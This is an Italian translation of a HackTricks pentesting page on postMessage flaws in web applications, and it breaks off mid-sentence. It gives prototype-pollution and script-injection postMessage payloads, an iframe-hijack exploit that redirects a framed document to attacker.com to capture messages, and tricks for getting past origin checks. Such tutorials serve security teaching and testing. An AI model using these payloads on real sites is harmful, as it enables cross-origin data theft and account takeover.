hacktricks/pentesting-web/postmessage-vulnerabilities
2024-02-10 13:03:23 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Italian 2024-02-10 13:03:23 +00:00
bypassing-sop-with-iframes-1.md Translated to Italian 2024-02-10 13:03:23 +00:00
bypassing-sop-with-iframes-2.md Translated to Italian 2024-02-10 13:03:23 +00:00
README.md Translated to Italian 2024-02-10 13:03:23 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Italian 2024-02-10 13:03:23 +00:00

Vulnerabilità di PostMessage

Vulnerabilità di PostMessage

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Invia PostMessage

PostMessage utilizza la seguente funzione per inviare un messaggio:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Si noti che targetOrigin può essere un '*' o un URL come https://azienda.com.
Nel secondo scenario, il messaggio può essere inviato solo a quel dominio (anche se l'origine dell'oggetto window è diversa).
Se viene utilizzato il carattere jolly, i messaggi potrebbero essere inviati a qualsiasi dominio, e saranno inviati all'origine dell'oggetto Window.

Attacco all'iframe e carattere jolly in targetOrigin

Come spiegato in questo rapporto, se trovi una pagina che può essere inserita in un iframe (senza protezione X-Frame-Header) e che sta inviando messaggi sensibili tramite postMessage utilizzando un carattere jolly (*), puoi modificare l'origine dell'iframe e rivelare il messaggio sensibile a un dominio controllato da te.
Si noti che se la pagina può essere inserita in un iframe ma il targetOrigin è impostato su un URL e non su un carattere jolly, questo trucco non funzionerà.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Sfruttamento di addEventListener

addEventListener è la funzione utilizzata da JS per dichiarare la funzione che si aspetta i postMessages.
Verrà utilizzato un codice simile al seguente:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Nota in questo caso come la prima cosa che il codice fa è verificare l'origine. Questo è estremamente importante, soprattutto se la pagina sta per fare qualcosa di sensibile con le informazioni ricevute (come cambiare una password). Se non verifica l'origine, gli attaccanti possono far inviare dati arbitrari a questi endpoint e cambiare le password delle vittime (in questo esempio).

Enumerazione

Per trovare gli event listener nella pagina corrente puoi:

  • Cercare nel codice JS window.addEventListener e $(window).on (versione JQuery)
  • Eseguire nella console degli strumenti per sviluppatori: getEventListeners(window)

  • Andare a Elementi --> Event Listeners negli strumenti per sviluppatori del browser

Bypass del controllo dell'origine

  • L'attributo event.isTrusted è considerato sicuro in quanto restituisce True solo per gli eventi generati da azioni autentiche dell'utente. Se implementato correttamente, è difficile da eludere, ma la sua importanza nei controlli di sicurezza è notevole.

  • L'uso di indexOf() per la validazione dell'origine negli eventi PostMessage potrebbe essere suscettibile di elusione. Un esempio che illustra questa vulnerabilità è:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Il metodo search() di String.prototype.search() è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché nelle regex, un punto (.) funge da carattere jolly, consentendo di eludere la convalida con domini appositamente creati. Ad esempio:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • La funzione match(), simile a search(), elabora le espressioni regolari. Se la regex è strutturata in modo errato, potrebbe essere suscettibile di elusione.

  • La funzione escapeHtml è destinata a sanificare gli input mediante l'escape dei caratteri. Tuttavia, non crea un nuovo oggetto di escape ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo che la sua proprietà controllata non riconosca hasOwnProperty, l'escapeHtml non funzionerà come previsto. Questo è dimostrato negli esempi seguenti:

  • Fallimento previsto:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Elusione dell'escape:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Nel contesto di questa vulnerabilità, l'oggetto File è particolarmente sfruttabile a causa della sua proprietà name in sola lettura. Questa proprietà, quando utilizzata nei template, non viene sanificata dalla funzione escapeHtml, creando potenziali rischi per la sicurezza.

  • La proprietà document.domain in JavaScript può essere impostata da uno script per abbreviare il dominio, consentendo una politica di stessa origine più rilassata all'interno dello stesso dominio principale.

Bypass di e.origin == window.origin

Quando si incorpora una pagina web all'interno di un iframe sandbox utilizzando %%%